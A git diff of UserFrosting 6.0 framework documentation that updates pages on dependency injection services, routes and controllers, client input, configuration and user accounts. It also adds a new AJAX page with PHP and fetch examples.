+Monolog `Logger` object for sending detailed SMTP mail server information from the `Mailer` service to `logs/userfrosting.log`. Inject via the `MailLoggerInterface`.
+
+### `UserFrosting\Sprinkle\Core\Log\QueryLoggerInterface`
+
+Monolog `Logger` object for logging successfully completed database queries to `logs/userfrosting.log`. Query logging only occurs when `debug.queries` is set to `true` in the configuration. Inject via the `QueryLoggerInterface`.
 
 ### `UserFrosting\Sprinkle\Core\Mail\Mailer`
 
 Creates an instance of `Mailer`, which serves as a UF-compatible wrapper for a [PHPMailer](https://github.com/PHPMailer/PHPMailer) object. See [Chapter 14](mail) for more information.
 
+### `League\CommonMark\ConverterInterface`
+
+Provides the CommonMark Markdown parser for converting Markdown to HTML. UserFrosting uses this with GitHub Flavored Markdown support. Sprinkles can register custom Markdown extensions by implementing the `MarkdownExtensionRecipe` interface.
+
 ### `UserFrosting\Sprinkle\Core\Throttle\Throttler`
 
 Creates a `Throttler` object, which handles [request throttling](routes-and-controllers/client-input/throttle) for different routes. This service will automatically register any throttling rules defined in the `throttles` key of your configuration.
@@ -80,15 +91,29 @@ extension (`UserFrosting\Sprinkle\Core\Twig\CoreExtension`), which provides some
 
 See [Templating with Twig](templating-with-twig) for more information about Twig and the custom functions, filters, and variables that UserFrosting defines.
 
+### `UserFrosting\Sprinkle\Core\Twig\CoreExtension`
+UserFrosting's core Twig extensions, which provide additional functions, filters, and global variables.
+
+See [Templating with Twig](templating-with-twig) for more information about Twig and the custom functions, filters, and variables that UserFrosting defines.
+
+### `UserFrosting\ViteTwig\ViteManifestInterface`
+
+Provides integration with Vite for frontend asset management. This service reads the Vite manifest file and provides methods to generate asset URLs with proper cache busting. See [Chapter 13](asset-management) for more information.
+
+### `Symfony\WebpackEncoreBundle\Asset\EntrypointLookupInterface`
+
+Legacy Webpack Encore integration service. If you're using Webpack instead of Vite for asset management, this service provides access to the Webpack manifest
+
+
 ### `UserFrosting\I18n\Translator`
 
-Sets up the `Translator` object (`UserFrosting\I18n\Translator`) for translation, localization, and internationalization of your site's contents. See [Chapter 17](i18n) for more information.
+Sets up the `Translator` object (`UserFrosting\I18n\Translator`) for translation, localization, and internationalization of your site's contents. See [Chapter 17](/i18n) for more information.
 
 ### `UserFrosting\UniformResourceLocator\ResourceLocatorInterface`
 
 An instance of our own [Uniform Resource Locator class](https://github.com/userfrosting/framework/tree/5.1/src/UniformResourceLocator#readme), which provides a unified method of accessing Sprinkle entities via streams.
 
-See [Chapter 18](advanced/locator) for more information.
+See [Chapter 18](/advanced/locator) for more information.
 
 ### `UserFrosting\Sprinkle\SprinkleManager`
 
@@ -100,6 +125,10 @@ The `SprinkleManager` can be used to get a list of all sprinkles currently loade
 
 Creates an instance of `Authenticator`, which handles user authentication and logins. See [Chapter 10](users/user-accounts#authentication-and-authorization) for more information.
 
+### `UserFrosting\Sprinkle\Account\Log\AuthLoggerInterface`
+
+Monolog `Logger` object for logging detailed information about access control checks. See [Chapter 10](users/access-control) for more information about access control. Note that access control checks will only be logged if `debug.auth` is set to `true` in the configuration. Inject via the `AuthLoggerInterface`
+
 ### `UserFrosting\Sprinkle\Account\Authenticate\AuthGuard`
 
 The `AuthGuard` middleware, which is bound to routes which require authentication to access ("protected routes"). See [Chapter 10](users/user-accounts#authentication-and-authorization) for more information.
@@ -112,16 +141,40 @@ The `GuestGuard` middleware, which is bound to routes that require a guest (non
 
 Monolog `Logger` object for logging detailed information about access control checks. See [Chapter 10](users/access-control) for more information about access control. Note that access control checks will only be logged if `debug.auth` is set to `true` in the configuration.
 
-### `UserFrosting\Sprinkle\Account\Authorize\AuthorizationManager` 
+### `UserFrosting\Sprinkle\Account\Authorize\AuthorizationManager`
 
 *Associated Interface : `UserFrosting\Sprinkle\Account\Authorize\AuthorizationManagerInterface`*
 
-Creates an instance of `AuthorizationManager`, which handles access control checks via the `checkAccess` method. This service also defines several default access condition callbacks. More information, and a complete list of default access condition callbacks, can be found in [Chapter 10](users/access-control).
+The `AuthorizationManager` handles access control checks for protected routes. It uses the [Role-Based Access Control (RBAC)](https://en.wikipedia.org/wiki/Role-based_access_control) system, which is based on user roles and permissions. See [Chapter 10](users/access-control) for more information about access control.
+
+### `UserFrosting\Sprinkle\Account\Authenticate\Interfaces\MFAProvider`
+
+Provides Multi-Factor Authentication (MFA) functionality. By default, this uses email-based OTP (One-Time Password) codes via the `EmailOtpProvider` implementation. You can replace this service to use other MFA methods like TOTP (Time-Based OTP) for authenticator apps or SMS.
+
+### `UserFrosting\Sprinkle\Account\Authenticate\Interfaces\EmailVerificationProvider`
+
+Handles email verification for new user registrations and email changes. By default, this uses the same email-based OTP system as MFA via the `EmailOtpProvider` implementation.
+
+### `UserFrosting\Sprinkle\Account\Database\Models\Interfaces\UserInterface`
+
+While not technically a service, UserFrosting maps model interfaces to their implementations via the `ModelsService`. This allows you to override model classes by decorating the service. Other model interfaces include:
+- `ActivityInterface`
+- `GroupInterface`  
+- `PermissionInterface`
+- `RoleInterface`
+- `UserVerificationInterface`
+
+### `UserFrosting\Sprinkle\Account\Authenticate\Interfaces\HasherInterface`
+
+Creates an instance of `Hasher`, which handles password hashing and validation. Inject via the `HasherInterface`.
+
+### `UserFrosting\Sprinkle\Core\I18n\SiteLocaleInterface`
 
-### `UserFrosting\Sprinkle\Account\Authenticate\Hasher`
+Provides the current site locale settings. The Account Sprinkle overrides the Core implementation to provide user-specific locale preferences.
 
-Creates an instance of `Hasher`, which handles password hashing and validation.
+### `UserFrosting\Sprinkle\Account\Log\UserActivityLoggerInterface`
 
+Sets up a Monolog `Logger` object which logs user activities to the `activities` database table using `UserActivityDatabaseHandler`. This makes it easy to track user actions throughout your application. Inject via the `UserActivityLoggerInterface`
 ### `UserFrosting\Sprinkle\Account\Log\UserActivityLogger`
 
 Sets up a Monolog `Logger` object, which uses `UserFrosting\Sprinkle\Account\Log\UserActivityDatabaseHandler` and `UserFrosting\Sprinkle\Account\Log\UserActivityProcessor` to allow logging of user activities to the `activities` database table. Monolog makes it easy to swap to other storage solutions such as Redis or Elastic Search.
diff --git a/app/pages/6.0/07.dependency-injection/04.adding-services/docs.md b/app/pages/6.0/07.dependency-injection/04.adding-services/docs.md
index 052a997a..8b1fadaf 100644
--- a/app/pages/6.0/07.dependency-injection/04.adding-services/docs.md
+++ b/app/pages/6.0/07.dependency-injection/04.adding-services/docs.md
@@ -1,12 +1,11 @@
 ---
 title: Adding Services
 description: You may extend UserFrosting's default services for additional functionality, or define completely new services in your Sprinkles.
-obsolete: true
 ---
 
 You'll probably want to create your own services to modularize certain aspects of your own project. For example, if your application needs to interact with some third-party API like Google Maps, you might create a `MapBuilder` class that encapsulates all of that functionality. This is a cleaner and more manageable alternative to simply stuffing all of your code directly into your controller classes.
 
-If you want to use a single instance of `MapBuilder` throughout your application, you'll probably end up defining it as a service. To do this, you'll need to create a new `MapBuilderService` class in your site sprinkle and register it in your [Sprinkle Recipe](sprinkles/recipe#services).
+If you want to use a single instance of `MapBuilder` throughout your application, you'll probably end up defining it as a service. To do this, you'll need to create a new `MapBuilderService` class in your site sprinkle and register it in your [Sprinkle Recipe](/sprinkles/recipe#services).
 
 You can actually create one big service provider for all your services, but it's best to create different provider classes for each service. This makes it easier to test and debug each of your services. It also makes things easier if you need to extend or disable a service in another sprinkle down the road. With this setup, each service resides in its own provider class instead of the global `ServiceProvider` class. For example:
 
@@ -21,7 +20,7 @@ app
 
 ### Create your service
 
-First, we'll create the service class. This class **must** implement the `UserFrosting\ServicesProvider\ServicesProviderInterface` interface. It must contain the `register` method, which returns an array of [service definitions](dependency-injection/the-di-container#service-providers-definitions). 
+First, we'll create the service class. This class **must** implement the `UserFrosting\ServicesProvider\ServicesProviderInterface` interface. It must contain the `register` method, which returns an array of [service definitions](/dependency-injection/the-di-container#service-providers-definitions).
 
 **app/src/ServicesProvider/MapBuilderService.php**
 
@@ -76,7 +75,7 @@ MapBuilder::class => function (Config $config) {
 
 ### Register your service
 
-The next step is to tell UserFrosting to load your service in your [Sprinkle Recipe](sprinkles/recipe#getservices). To do so, you only need to list all the service providers you want to automatically register inside the `$getServices` property of your sprinkle class :
+The next step is to tell UserFrosting to load your service in your [Sprinkle Recipe](/sprinkles/recipe#getservices). To do so, you only need to list all the service providers you want to automatically register inside the `$getServices` property of your sprinkle class:
 
 **app/src/MyApp.php**
 
@@ -87,7 +86,7 @@ namespace UserFrosting\Sprinkle\Site;
 
 use UserFrosting\Sprinkle\Site\ServicesProvider\MapBuilderService;
 use UserFrosting\Sprinkle\Site\ServicesProvider\FooService;
-use UserFrosting\System\Sprinkle\Sprinkle;
+use UserFrosting\Sprinkle\SprinkleRecipe;
 
 class MyApp implements SprinkleRecipe
 {
@@ -105,4 +104,4 @@ class MyApp implements SprinkleRecipe
 }
 ```
 
-That's it! Behind the scenes, UserFrosting will register every definition from each service provider with the DI container, following the sprinkle [dependency tree](sprinkles/recipe#dependent-sprinkles) during the [application lifecycle](advanced/application-lifecycle).
+That's it! Behind the scenes, UserFrosting will register every definition from each service provider with the DI container, following the sprinkle [dependency tree](/sprinkles/recipe#dependent-sprinkles) during the [application lifecycle](/advanced/application-lifecycle).
diff --git a/app/pages/6.0/07.dependency-injection/05.extending-services/docs.md b/app/pages/6.0/07.dependency-injection/05.extending-services/docs.md
index ed839709..4c368710 100644
--- a/app/pages/6.0/07.dependency-injection/05.extending-services/docs.md
+++ b/app/pages/6.0/07.dependency-injection/05.extending-services/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Extending Existing Services
 description: You may extend UserFrosting's default services for additional functionality, or define completely new services in your sprinkles.
-obsolete: true
 ---
 
 PHP-DI allows us to extend services that were defined previously, for example in another sprinkle, using [decorators](https://php-di.org/doc/definition-overriding.html#decorators).
diff --git a/app/pages/6.0/07.dependency-injection/chapter.md b/app/pages/6.0/07.dependency-injection/chapter.md
index 54120c5e..5ce1eb62 100644
--- a/app/pages/6.0/07.dependency-injection/chapter.md
+++ b/app/pages/6.0/07.dependency-injection/chapter.md
@@ -1,13 +1,16 @@
 ---
 title: Dependency Injection
 description: Services are a way to allow objects that perform specific, commonly used functions to be reused throughout your application. Mail, logging, and authorization are all examples of services.
-obsolete: true
 ---
 
 #### Chapter 7
 
 # Dependency Injection
 
-Dependency injection is one of the fundamental pillars of modern object-oriented software design. It is used extensively throughout UserFrosting to glue all services together while maintaining great flexibility to extend the basics functionalities of UserFrosting to create your own project. 
+Modern applications need shared functionality—sending emails, logging events, authorizing users. But how do you make these services available throughout your code without creating tight coupling and making your code untestable?
 
-Services are a way to allow objects that perform specific, commonly used functions to be reused throughout your application. Mail, logging, and authorization are all examples of services. The **Dependency Injection (DI) Container** provides an elegant and loosely coupled way to make various services available globally in your application.
+**Dependency Injection (DI)** is the solution. Instead of objects creating their own dependencies, they declare what they need, and a **DI Container** provides them. This makes code modular, testable, and flexible—you can easily swap implementations without changing dependent code.
+
+UserFrosting uses dependency injection extensively to wire together services like mail, logging, database access, and authorization. Understanding the DI container is key to extending UserFrosting's functionality and building well-architected applications.
+
+This chapter explains dependency injection concepts, how UserFrosting's DI container works, the services available by default, and how to add or customize services for your own needs.
diff --git a/app/pages/6.0/08.routes-and-controllers/01.introduction/docs.md b/app/pages/6.0/08.routes-and-controllers/01.introduction/docs.md
index 9d14d680..d6868d37 100644
--- a/app/pages/6.0/08.routes-and-controllers/01.introduction/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/01.introduction/docs.md
@@ -1,10 +1,17 @@
 ---
 title: Introduction
 description: If you're new to object-oriented programming, you may not be familiar with the MVC pattern, a popular and very flexible design paradigm for scalable, easily maintained web applications.
-obsolete: true
 ---
 
-UserFrosting is built to follow the [Model-View-Controller (MVC)](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) design paradigm. If you come from a "traditional" PHP background, you may be used to seeing code that looks like this:
+Imagine building a web application where all your code lives in single files—database queries mixed with HTML output, business logic tangled with form processing, everything in one giant mess. This is **spaghetti code**, and it's a maintenance nightmare. Want to change the database? You're rewriting HTML. Need to update the UI? You're touching business logic. Testing becomes impossible.
+
+The **Model-View-Controller (MVC)** pattern solves this by separating concerns into three distinct layers: the **model** (data and business logic), the **view** (presentation/HTML), and the **controller** (coordinates between model and view). Each layer has one job, making your code easier to understand, test, and maintain.
+
+UserFrosting embraces MVC fully. Models use [Eloquent](database) for database interactions, views use [Twig templates](templating-with-twig) for clean HTML generation, and controllers (built on [Slim 4](https://www.slimframework.com/)) tie everything together. This chapter focuses on controllers—the starting point for adding new features to your application.
+
+## Understanding Spaghetti Code
+
+If you come from a "traditional" PHP background, you may be used to seeing code that looks like this:
 
 **users.php**
 ```php
diff --git a/app/pages/6.0/08.routes-and-controllers/02.REST/01.restful-endpoints/docs.md b/app/pages/6.0/08.routes-and-controllers/02.REST/01.restful-endpoints/docs.md
index 3b676470..e8409f7a 100644
--- a/app/pages/6.0/08.routes-and-controllers/02.REST/01.restful-endpoints/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/02.REST/01.restful-endpoints/docs.md
@@ -1,7 +1,6 @@
 ---
 title: RESTful Endpoints
 description: Together, a specific url and method are commonly referred to as an **endpoint**.  It is important to use a consistent, RESTful approach to the URLs and methods you choose for each endpoint.
-obsolete: true
 ---
 
 A RESTful url should represent a _thing_, not an _action_. We want to avoid putting any verbs in the name of the url. Instead, the action should be defined by the HTTP method. For example:
diff --git a/app/pages/6.0/08.routes-and-controllers/02.REST/02.restful-responses/docs.md b/app/pages/6.0/08.routes-and-controllers/02.REST/02.restful-responses/docs.md
index 46c34748..bab9977b 100644
--- a/app/pages/6.0/08.routes-and-controllers/02.REST/02.restful-responses/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/02.REST/02.restful-responses/docs.md
@@ -1,7 +1,6 @@
 ---
 title: RESTful Responses
 description: Your responses should use headers and status codes consistent with the HTTP specifications.  This section lists the HTTP codes commonly used by UserFrosting.
-obsolete: true
 ---
 
 ## RESTful Responses
@@ -95,7 +94,7 @@ use UserFrosting\Sprinkle\Core\Exceptions\NotFoundException;
     public function updateField()
     {
         $user = // ...
-        
+
         // Will cause a 404 response
         if ($user === null) {
             throw new NotFoundException();
diff --git a/app/pages/6.0/08.routes-and-controllers/02.REST/docs.md b/app/pages/6.0/08.routes-and-controllers/02.REST/docs.md
index 733333e0..5b77b095 100644
--- a/app/pages/6.0/08.routes-and-controllers/02.REST/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/02.REST/docs.md
@@ -1,7 +1,6 @@
 ---
 title: RESTful Design
 description: Representational State Transfer (REST) is a design paradigm for efficient, scalable communication between clients and the server.
-obsolete: true
 ---
 
 Before we talk about the application itself, let's talk about how the client gets to the application in the first place: by making a **request**. A request consists of a few main components:
diff --git a/app/pages/6.0/08.routes-and-controllers/03.front-controller/docs.md b/app/pages/6.0/08.routes-and-controllers/03.front-controller/docs.md
index e6b63190..42d00c5b 100644
--- a/app/pages/6.0/08.routes-and-controllers/03.front-controller/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/03.front-controller/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Front Controller
 description: The front controller consists of the route definitions that UserFrosting uses to process incoming requests from the client.
-obsolete: true
 ---
 
 The front controller is a collective term for the **routes** that your web application defines for its various **endpoints**. This is how UserFrosting links URLs and methods to your application's code.
@@ -11,7 +10,7 @@ Sprinkles define their routes in classes and register them in their Recipe. Ther
 The following is an example of a `GET` route:
 
 ```php
-$app->get('/api/users/u/{username}', function (string $username, Request $request, Response $response, array $args) 
+$app->get('/api/users/u/{username}', function (string $username, Request $request, Response $response, array $args)
 {
     $getParams = $request->getQueryParams();
 
diff --git a/app/pages/6.0/08.routes-and-controllers/04.controller-classes/docs.md b/app/pages/6.0/08.routes-and-controllers/04.controller-classes/docs.md
index c31c56e6..d317cfb9 100644
--- a/app/pages/6.0/08.routes-and-controllers/04.controller-classes/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/04.controller-classes/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Controller Classes
 description: Controller classes allow you to easily separate the logic for your routes from your endpoint definitions.
-obsolete: true
 ---
 
 To keep your code organized, it is highly recommended to use **controller** or **action** classes. By separating your code in this way, you can easily see a list of the endpoints that a Sprinkle defines by looking at its route definitions. The implementation can then be tucked away in separate files.
@@ -114,9 +113,9 @@ class OwlController
     public function __construct(
         protected Twig $view,
         protected VoleFinder $voleFinder)
-    {        
+    {
     }
-    
+
     public function getOwls(string $genus, Request $request, Response $response): Response
     {
         // ...
diff --git a/app/pages/6.0/08.routes-and-controllers/05.registering-routes/docs.md b/app/pages/6.0/08.routes-and-controllers/05.registering-routes/docs.md
index 570f4f25..330cd5df 100644
--- a/app/pages/6.0/08.routes-and-controllers/05.registering-routes/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/05.registering-routes/docs.md
@@ -1,15 +1,14 @@
 ---
 title: Registering Routes
 description: Once your routes definitions are ready, you have to register them inside your Sprinkle Recipe.
-obsolete: true
 ---
 
-So far we've seen how to [create route definitions](routes-and-controllers/front-controller) and [controller classes](routes-and-controllers/controller-classes). However, there one last step required for our routes to be enabled inside our application. That is registering the route class inside the [Sprinkle Recipe](sprinkles/recipe#routes). 
+So far we've seen how to [create route definitions](routes-and-controllers/front-controller) and [controller classes](routes-and-controllers/controller-classes). However, there one last step required for our routes to be enabled inside our application. That is registering the route class inside the [Sprinkle Recipe](sprinkles/recipe#routes).
 
 > [!NOTE]
 > Previous versions of UserFrosting relied on a naming convention for registering routes. Routes were expected to be placed in a special directory, and would automatically be registered at runtime. To provide more flexibility, the naming convention has been dropped in UserFrosting 5. You now have to register every class you wish to register, in the order you want them to be registered, inside the Sprinkle Recipe.
 
-The first step is to create a new class that will return the Slim route definition. This class **must** implement the `UserFrosting\Routes\RouteDefinitionInterface` interface from the UserFrosting Framework. For example : 
+The first step is to create a new class that will return the Slim route definition. This class **must** implement the `UserFrosting\Routes\RouteDefinitionInterface` interface from the UserFrosting Framework. For example :
 
 **app/src/MyRoutes.php**
 ```php
@@ -30,7 +29,7 @@ class MyRoutes implements RouteDefinitionInterface
 }
 ```
 
-Note in the previous example how the class has a [FQN](https://www.php.net/manual/en/language.namespaces.rules.php) of `\UserFrosting\App\MyRoutes`. 
+Note in the previous example how the class has a [FQN](https://www.php.net/manual/en/language.namespaces.rules.php) of `\UserFrosting\App\MyRoutes`.
 
 To register this class inside your application, you need to add it to the `getRoutes()` method of the Sprinkle Recipe. Don't forget to add the previous class to the `use` block at the top. For example :
 
@@ -46,8 +45,8 @@ use UserFrosting\App\MyRoutes; // <-- Add here !
 // ...
 
 class MyApp implements SprinkleRecipe {
-    
-    // ... 
+
+    // ...
 
     /**
      * Returns a list of routes definition in PHP files.
diff --git a/app/pages/6.0/08.routes-and-controllers/06.client-input/01.validation/docs.md b/app/pages/6.0/08.routes-and-controllers/06.client-input/01.validation/docs.md
index 9e2565ab..fecdcb8f 100644
--- a/app/pages/6.0/08.routes-and-controllers/06.client-input/01.validation/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/06.client-input/01.validation/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Validation
 description: Client- and server-side validation are unified into one convenient interface using UserFrosting's Fortress package and a common set of rules defined in a JSON schema file.
-obsolete: true
 ---
 
 The number one security rule in web development is: **never trust client input!**
diff --git a/app/pages/6.0/08.routes-and-controllers/06.client-input/02.csrf-guard/docs.md b/app/pages/6.0/08.routes-and-controllers/06.client-input/02.csrf-guard/docs.md
index a427ec08..870f0753 100644
--- a/app/pages/6.0/08.routes-and-controllers/06.client-input/02.csrf-guard/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/06.client-input/02.csrf-guard/docs.md
@@ -1,7 +1,6 @@
 ---
 title: CSRF Protection
 description: Cross-site request forgeries (CSRF) are a type of social engineering attack in which a malicious agent tricks a user into submitting a valid, but unintended request to your server. UserFrosting mitigates this risk with a secret token embedded into all forms on your website.
-obsolete: true
 ---
 
 Cross-site request forgeries (CSRF) are a type of social engineering attack in which a malicious agent tricks a user into submitting a valid, but unintended request to your server. This can happen, for example, when a user opens a malicious email or website while they are still signed in to your website.
diff --git a/app/pages/6.0/08.routes-and-controllers/06.client-input/03.throttle/docs.md b/app/pages/6.0/08.routes-and-controllers/06.client-input/03.throttle/docs.md
index b54433ed..9a15991a 100644
--- a/app/pages/6.0/08.routes-and-controllers/06.client-input/03.throttle/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/06.client-input/03.throttle/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Throttling
 description: Throttling, also known as rate-limiting, is a technique for slowing down attackers by limiting the frequency with which they can make certain types of requests.
-obsolete: true
 ---
 
 People tend to be bad at picking strong passwords. [Publicly available lists of passwords](https://github.com/danielmiessler/SecLists/tree/master/Passwords) recovered from hacked databases reveal that, despite efforts to educate, users still pick the same highly predictable passwords over and over. These lists make it easy for brute-force attackers to gain unauthorized access to a large number of your users' accounts.
@@ -55,7 +54,7 @@ This process is generally implemented using the `getDelay` and `logEvent` method
 
 // Inject Throttler into the class
 public function __construct(
-    // ... 
+    // ...
     protected Throttler $throttler,
     // ...
 ) {
@@ -85,12 +84,12 @@ $this->db->transaction(function () use ($data) {
     $this->throttler->logEvent('password_reset_request', [
         'email' => $data['email'],
     ]);
-    
+
     // ...
 
 });
 
-// ... 
+// ...
 ```
 
 You'll notice that we first check the `password_reset_request` throttle (the client IP address is automatically retrieved by the `throttler` service) and return an error if the computed delay is greater than 0. We do this *before* the call to `logEvent` - which adds a record of this attempt to the database - so that requests which are rejected because of the throttle rule do not further exacerbate the timeout period.
diff --git a/app/pages/6.0/08.routes-and-controllers/06.client-input/04.ajax/docs.md b/app/pages/6.0/08.routes-and-controllers/06.client-input/04.ajax/docs.md
index 5703bd96..4ddbaab9 100644
--- a/app/pages/6.0/08.routes-and-controllers/06.client-input/04.ajax/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/06.client-input/04.ajax/docs.md
@@ -1,6 +1,81 @@
 ---
 title: AJAX Requests
-obsolete: true
+description: Learn how to handle AJAX requests in UserFrosting using JSON responses and RESTful endpoints.
 ---
 
-To contribute to this documentation, please submit a pull request to our [learn repository](https://github.com/userfrosting/learn/tree/master/pages).
\ No newline at end of file
+AJAX (Asynchronous JavaScript and XML) requests allow you to send and receive data from the server without refreshing the page. UserFrosting makes it easy to handle AJAX requests using standard HTTP methods and JSON responses.
+
+## Making AJAX Requests
+
+There are many ways to make AJAX requests from the frontend, including:
+
+- Modern **Fetch API** (built into browsers)
+- **Axios** (popular promise-based HTTP client)
+- jQuery's `$.ajax()` (if you're using jQuery)
+- Any other HTTP client library
+
+UserFrosting's frontend uses **Axios** for AJAX requests.
+
+## Handling AJAX Requests in Controllers
+
+Controllers handling AJAX requests should return JSON responses. 
+
+### Example: A Simple AJAX Endpoint
+
+```php
+use Psr\Http\Message\ResponseInterface as Response;
+use Psr\Http\Message\ServerRequestInterface as Request;
+use UserFrosting\Sprinkle\Core\Exceptions\NotFoundException;
+
+class UserController
+{
+    public function getUser(Request $request, Response $response, array $args): Response
+    {
+        $userId = $args['id'];
+        
+        // Fetch user from database
+        $user = User::find($userId);
+        
+        // Throw exception for not found - will be converted to JSON error automatically
+        if (!$user) {
+            throw new NotFoundException('User not found');
+        }
+        
+        // Prepare response data
+        $payload = [
+            'id' => $user->id,
+            'name' => $user->name,
+            'email' => $user->email
+        ];
+        
+        // Encode and write to response body
+        $json = json_encode($payload, JSON_THROW_ON_ERROR);
+        $response->getBody()->write($json);
+        
+        return $response->withHeader('Content-Type', 'application/json');
+    }
+}
+```
+
+### Example: Frontend Example with Fetch API
+
+```javascript
+// GET request
+fetch('/api/users/123')
+    .then(response => response.json())
+    .then(data => {
+        console.log('User:', data);
+    })
+    .catch(error => {
+        console.error('Error:', error);
+    });
+```
+
+## Best Practices
+
+1. **Always validate input** - Use [request validation](/routes-and-controllers/client-input/validation) for all incoming data
+2. **Include CSRF tokens** - Protect POST/PUT/DELETE requests with [CSRF guards](/routes-and-controllers/client-input/csrf-guard)
+3. **Return consistent JSON** - Use a standard structure for success and error responses
+4. **Use proper HTTP status codes** - 200 for success, 404 for not found, 422 for validation errors, etc.
+5. **Use exceptions for errors** - Throw appropriate exceptions (e.g., `NotFoundException`, `ValidationException`) which will be automatically converted to JSON error responses with proper status codes
+6. **Handle errors gracefully** - Always provide meaningful error messages in exception descriptions
diff --git a/app/pages/6.0/08.routes-and-controllers/06.client-input/docs.md b/app/pages/6.0/08.routes-and-controllers/06.client-input/docs.md
index 51deb2bf..5226c59f 100644
--- a/app/pages/6.0/08.routes-and-controllers/06.client-input/docs.md
+++ b/app/pages/6.0/08.routes-and-controllers/06.client-input/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Client Input
 description: Retrieving client input (GET, POST, PUT, DELETE, and URL arguments) in your controllers.
-obsolete: true
 ---
 
 There is no such thing as a `$_GET` array or a `$_POST` array - at least, not according to the [HTTP specifications](https://en.wikipedia.org/wiki/HTTP#Message_Format). These superglobals are merely constructs offered by PHP to make your life more "convenient".
diff --git a/app/pages/6.0/08.routes-and-controllers/chapter.md b/app/pages/6.0/08.routes-and-controllers/chapter.md
index 3509fa12..03566e9e 100644
--- a/app/pages/6.0/08.routes-and-controllers/chapter.md
+++ b/app/pages/6.0/08.routes-and-controllers/chapter.md
@@ -1,13 +1,14 @@
 ---
 title: Routes and Controllers
 description: UserFrosting controllers are used to mediate interactions between the model and view, and are responsible for much of your application's logic.
-obsolete: true
 ---
 
 #### Chapter 8
 
 # Routes and Controllers
 
-UserFrosting controllers are used to mediate interactions between the model and view, and are responsible for much of your application's logic.
+Every web application needs to answer a fundamental question: **when a user visits a URL or submits a form, what code should run?** Without a structured approach, you end up with spaghetti code mixing database queries, business logic, and HTML generation in confusing, unmaintainable ways.
 
-This chapter explains RESTful design, the front controller pattern, creating new controllers and controller methods to implement the logic for your application, and how to properly handle input from the client.
+UserFrosting uses the **MVC (Model-View-Controller)** pattern with RESTful routing to cleanly separate concerns. **Routes** map URLs to **controllers**, which contain your application logic and coordinate between **models** (data) and **views** (presentation). This separation makes your code easier to understand, test, and maintain.
+
+This chapter covers RESTful API design, the front controller pattern, creating controllers for your features, and securely handling user input. You'll learn to build well-structured endpoints that are both powerful and maintainable.
diff --git a/app/pages/6.0/09.configuration/01.environment-vars/docs.md b/app/pages/6.0/09.configuration/01.environment-vars/docs.md
index 3f3af36e..bfd22a5c 100644
--- a/app/pages/6.0/09.configuration/01.environment-vars/docs.md
+++ b/app/pages/6.0/09.configuration/01.environment-vars/docs.md
@@ -1,10 +1,18 @@
 ---
 title: Environment Variables
 description: The .env file is used to define important values in development such as database credentials, which should be placed directly in environment variables during production.
-obsolete: true
+wip: true
 ---
 
-The basic database settings for UserFrosting can be set through environment variables. By default, UserFrosting looks for the following environment variables:
+Every application needs configuration—database credentials, API keys, SMTP settings, feature flags. But hardcoding these values directly in your code creates serious problems: security vulnerabilities (credentials in version control), inflexibility (can't easily change settings), and deployment headaches (different environments need different values).
+
+UserFrosting uses **environment variables** to solve these challenges. Environment variables keep sensitive data out of your codebase, allow different configuration for each environment (development, staging, production), and let you change settings without modifying code. It's the [twelve-factor app](https://12factor.net/config) approach that professional applications follow.
+
+For local development, UserFrosting uses `.env` files to make managing environment variables easy. In production, you set real environment variables directly on your server for maximum security.
+
+## Available Environment Variables
+
+UserFrosting recognizes the following environment variables:
 
 |       Variable       | Description                                                                             |
 |:--------------------:|-----------------------------------------------------------------------------------------|
diff --git a/app/pages/6.0/09.configuration/02.config-files/docs.md b/app/pages/6.0/09.configuration/02.config-files/docs.md
index 3a4c493c..16bb6aa9 100644
--- a/app/pages/6.0/09.configuration/02.config-files/docs.md
+++ b/app/pages/6.0/09.configuration/02.config-files/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Configuration Files
 description: Configuration files allow you to customize the default behavior of UserFrosting - for example, to toggle debugging, caching, and logging behaviors and to set other sitewide settings.
-obsolete: true
+wip: true
 ---
 
 Configuration files allow you to customize the default behavior of UserFrosting - for example, to toggle debugging, caching, and logging behaviors and to set other sitewide settings. Configuration files are found in the `config/` directory of each Sprinkle.
diff --git a/app/pages/6.0/09.configuration/chapter.md b/app/pages/6.0/09.configuration/chapter.md
index 7338a6af..d522b72e 100644
--- a/app/pages/6.0/09.configuration/chapter.md
+++ b/app/pages/6.0/09.configuration/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Configuration
 description: UserFrosting works out of the box with very little configuration required.  That being said, UserFrosting is highly configurable for the needs of your specific application.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 9
diff --git a/app/pages/6.0/10.users/01.user-accounts/docs.md b/app/pages/6.0/10.users/01.user-accounts/docs.md
index 5aca12e9..d3c008aa 100644
--- a/app/pages/6.0/10.users/01.user-accounts/docs.md
+++ b/app/pages/6.0/10.users/01.user-accounts/docs.md
@@ -1,7 +1,7 @@
 ---
 title: User Accounts
 description: UserFrosting ships with everything you need to create user accounts, and a rich set of features for users and administrators.
-obsolete: true
+wip: true
 ---
 
 You were probably attracted to UserFrosting because you wanted to "make a site where users can sign in", or you already have a project in progress and your boss asked you to "put it behind a login," or you need to have some "protected pages." These are nontechnical terms. It will be easier for us to communicate if we first establish a common vocabulary, so that we can explain the concepts with more precision.
diff --git a/app/pages/6.0/10.users/02.access-control/docs.md b/app/pages/6.0/10.users/02.access-control/docs.md
index 25aef952..e44348ac 100644
--- a/app/pages/6.0/10.users/02.access-control/docs.md
+++ b/app/pages/6.0/10.users/02.access-control/docs.md
@@ -1,9 +1,15 @@
 ---
 title: Authorization
 description: Authorization is sometimes referred to as "access control" or "protecting pages". UserFrosting implements an extended version of role-based access control that supports procedural conditions on user permissions.
